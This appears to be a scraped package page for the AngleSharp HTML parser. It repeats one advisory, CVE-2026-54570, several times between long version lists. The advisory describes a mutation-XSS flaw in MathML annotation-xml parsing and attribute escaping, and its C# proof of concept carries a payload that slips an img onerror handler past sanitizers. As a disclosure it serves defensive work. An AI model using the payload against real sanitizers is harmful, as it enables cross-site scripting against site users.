            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Jul 14, 2025

1.3.1-beta.486 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

May 26, 2025

1.3.0-beta.484 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

May 23, 2025

1.3.0 minor

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Apr 18, 2025

Activity

Details